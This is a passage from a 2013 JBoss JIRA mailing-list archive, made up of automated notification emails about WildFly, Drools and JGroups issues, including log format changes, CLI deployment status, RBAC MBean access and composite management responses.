            Reporter: Takayoshi Kimura
            Assignee: Takayoshi Kimura


Starting from AS7 the server.log has only time in the log format, there is no date in each log record and sometimes it leads small support difficulties, like we can't figure out the date from log snippets or from size based rotated logs.

{code}
<pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p [%c] (%t) %s%E%n"/>
{code}

I think it's convenient for most users to have date in the logs.

Proposed change is:

{code}
<pattern-formatter pattern="%d{yyyy-MM-dd HH:mm:ss,SSS} %-5p [%c] (%t) %s%E%n"/>
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 01:56:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Fri, 13 Sep 2013 01:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) JBoss fails to show app
 status runtime-name is different from the actual EAR name
In-Reply-To: <JIRA.12500657.1379051696213@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696213@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696213.24822.1379051763403@jira02.app.mwc.hst.phx2.redhat.com>

Jay Kumar SenSharma created WFLY-2061:
-----------------------------------------

             Summary: JBoss fails to show app status runtime-name is different from the actual EAR name
                 Key: WFLY-2061
                 URL: https://issues.jboss.org/browse/WFLY-2061
             Project: WildFly
          Issue Type: Bug
          Components: Server
    Affects Versions: 8.0.0.Alpha4
         Environment: All
            Reporter: Jay Kumar SenSharma
            Assignee: Jason Greene


If an application is deployed with a different "--runtime-name" other than the actual EAR "--name" then CLI fails to show the Status of the application.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 01:56:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Fri, 13 Sep 2013 01:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) JBoss fails to show app
 status runtime-name is different from the actual EAR name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.24825.1379051763505@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jay Kumar SenSharma updated WFLY-2061:
--------------------------------------

    Workaround: Workaround Exists

    
> JBoss fails to show app status runtime-name is different from the actual EAR name
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "--runtime-name" other than the actual EAR "--name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 01:58:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Fri, 13 Sep 2013 01:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) JBoss fails to show app
 status runtime-name is different from the actual EAR name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.24828.1379051883408@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jay Kumar SenSharma updated WFLY-2061:
--------------------------------------

    Description: 
If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.



  was:
If an application is deployed with a different "--runtime-name" other than the actual EAR "--name" then CLI fails to show the Status of the application.




    
> JBoss fails to show app status runtime-name is different from the actual EAR name
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 01:58:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Fri, 13 Sep 2013 01:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) JBoss fails to show app
 status runtime-name is different from the deployment name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.24831.1379051883578@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jay Kumar SenSharma updated WFLY-2061:
--------------------------------------

    Summary: JBoss fails to show app status runtime-name is different from the  deployment name  (was: JBoss fails to show app status runtime-name is different from the actual EAR name)

    
> JBoss fails to show app status runtime-name is different from the  deployment name
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 02:02:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Fri, 13 Sep 2013 02:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) JBoss fails to show app
 status runtime-name is different from the deployment name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.24834.1379052123426@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804058#comment-12804058 ] 

Jay Kumar SenSharma commented on WFLY-2061:
-------------------------------------------

- The same issue is reproducible in *Standalone mode* of JBoss as well.

- If the application "name" and "runtime-name" is same then the application status is shown properly as following:

[domain at localhost:9999 /] deploy /home/ABC.ear --name=XYZ.ear --runtime-name=XYZ.ear --server-groups=main-server-group

[domain at localhost:9990 /] /host=master/server=server-one/deployment=XYZ.ear:read-attribute(name=status)
{     
    "outcome" => "success",
    "result" => "OK"
}
[domain at l
                
> JBoss fails to show app status runtime-name is different from the  deployment name
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 02:04:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Fri, 13 Sep 2013 02:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) CLI fails to show app status
 when runtime-name is different from the deployment name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.24842.1379052243484@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jay Kumar SenSharma updated WFLY-2061:
--------------------------------------

    Summary: CLI fails to show app status when runtime-name is different from the deployment name  (was: JBoss fails to show app status runtime-name is different from the  deployment name)

    
> CLI fails to show app status when runtime-name is different from the deployment name
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 02:04:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Fri, 13 Sep 2013 02:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) CLI fails to show app status
 when runtime-name is different from the deployment name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.24846.1379052243696@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jay Kumar SenSharma updated WFLY-2061:
--------------------------------------

    Component/s: CLI

    
> CLI fails to show app status when runtime-name is different from the deployment name
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI, Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 02:17:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Fri, 13 Sep 2013 02:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.24854.1379053023449@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804062#comment-12804062 ] 

Ladislav Thon commented on WFLY-2040:
-------------------------------------

Agreed. Please let me know once you have a branch with the RBAC fix and the remoting-jmx update, and I'll do a pull request against that branch of yours with the tests. Once you merge it, you can do a pull request against Brian's {{rbac}} branch. Is that OK with you? Or we can do it a bit shorter way -- once you have the branch with fixes, I'll take it, add tests and issue a pull request against Brian's {{rbac}} branch.
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 03:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 03:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) CLI fails to show app status
 when runtime-name is different from the deployment name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.24937.1379056323531@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2061:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1007696

    
> CLI fails to show app status when runtime-name is different from the deployment name
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI, Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 03:16:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 03:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2061) CLI fails to show app status
 when runtime-name is different from the deployment name
In-Reply-To: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500657.1379051696000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500657.1379051696000.24941.1379056564333@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2061?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804068#comment-12804068 ] 

RH Bugzilla Integration commented on WFLY-2061:
-----------------------------------------------

Jay SenSharma <jsenshar at redhat.com> made a comment on [bug 1007696|https://bugzilla.redhat.com/show_bug.cgi?id=1007696]

- According to the "runtime-name" description the users should be allowed to choose a different runtime-name for their deployments.

- "description" =>  "Name by which the deployment should be known within a server's runtime. This would be equivalent to the file name of a deployment file, and would form the basis for such things as default Java Enterprise Edition application and module names. This would typically be the same as 'name', but in some cases users may wish to have two deployments with the same 'runtime-name' (e.g. two versions of \"foo.war\") both available in the deployment content repository, in which case the deployments would need to have distinct 'name' values but would have the same 'runtime-name'."
                
> CLI fails to show app status when runtime-name is different from the deployment name
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2061
>                 URL: https://issues.jboss.org/browse/WFLY-2061
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI, Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jason Greene
>
> If an application is deployed with a different "runtime-name" other than the actual EAR "name" then CLI fails to show the Status of the application.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 04:32:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 04:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.25074.1379061123894@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804091#comment-12804091 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483] from ON_QA to ASSIGNED
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 04:32:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 04:32:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.25078.1379061124195@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804092#comment-12804092 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483]

I have reproduced the same exception with BRMS.5.3.1-P4 using the unit test by Alessandro. I ran it as a stand-alone test (I did not run it as a part of Drools or BRMS test suite, I had difficulties to reproduce it when running it in the test suite, although I do not understand how this could affect the reproducability).

I have created a simple Maven project containing the reproducer by Alessandro.

You should be able to reproduce the problem by running 'mvn clean test' in the unzipped project.
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 04:34:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 04:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.25084.1379061243625@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804093#comment-12804093 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483]


                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:05:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 05:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1694) Testsuite: move FLUSH tests
 into their own test group
In-Reply-To: <JIRA.12500667.1379062995058@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500667.1379062995058@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500667.1379062995058.25103.1379063103603@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1694:
------------------------------

             Summary: Testsuite: move FLUSH tests into their own test group
                 Key: JGRP-1694
                 URL: https://issues.jboss.org/browse/JGRP-1694
             Project: JGroups
          Issue Type: Task
            Reporter: Bela Ban
            Assignee: Bela Ban
            Priority: Minor
             Fix For: 3.4


Currently, we're running udp, tcp, udp-flush and tcp-flush tests, so effectively we're running the udp and tcp tests twice; once without and once with FLUSH.
To reduce the time to run the testsuite, create a new test group "flush" and move all tests that are about FLUSH to it. Use SHARED_LOOPBACK as transport, so we're not dependent on either udp or tcp.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:16:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Fri, 13 Sep 2013 05:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2062) Composite response returns
	bogus data
In-Reply-To: <JIRA.12500668.1379063652250@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500668.1379063652250@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500668.1379063652250.25107.1379063764681@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2062:
---------------------------------

             Summary: Composite response returns bogus data
                 Key: WFLY-2062
                 URL: https://issues.jboss.org/browse/WFLY-2062
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


Trying to read the heap memory usage from a host vm, we've disovered that a composite response, thorugh the http layer, returns bogus data. 

This is the operation that we execute over HTTP:

{noformat}
 {
     "operation" => "composite",
     "address" => [],
     "steps" => [
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "memory")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "threading")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "runtime")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "operating-system")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         }
     ]
 }
{noformat}


Here's the response for the relevant heap section:

{noformat}
{
     "init" => 1366294528L,
     "used" => 92433896L,
     "committed" => 1309081600L,
     "max" => 1309081600L
}
{noformat}


But the actual values (using CLI) are:

{noformat}
[domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
{
    "outcome" => "success",
    "result" => {
        "heap-memory-usage" => {
            "init" => 67108864L,
            "used" => 36680856L,
            "committed" => 188547072L,
            "max" => 477233152L
        },
       [...]
    }
}
{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 05:16:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Fri, 13 Sep 2013 05:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2062) Composite response returns
	bogus data
In-Reply-To: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500668.1379063652000.25111.1379063764920@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2062?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2062:
------------------------------

    Description: 
Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data. 

This is the operation that we execute over HTTP:

{noformat}
 {
     "operation" => "composite",
     "address" => [],
     "steps" => [
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "memory")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "threading")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "runtime")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "operating-system")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         }
     ]
 }
{noformat}


Here's the response for the relevant heap section:

{noformat}
{
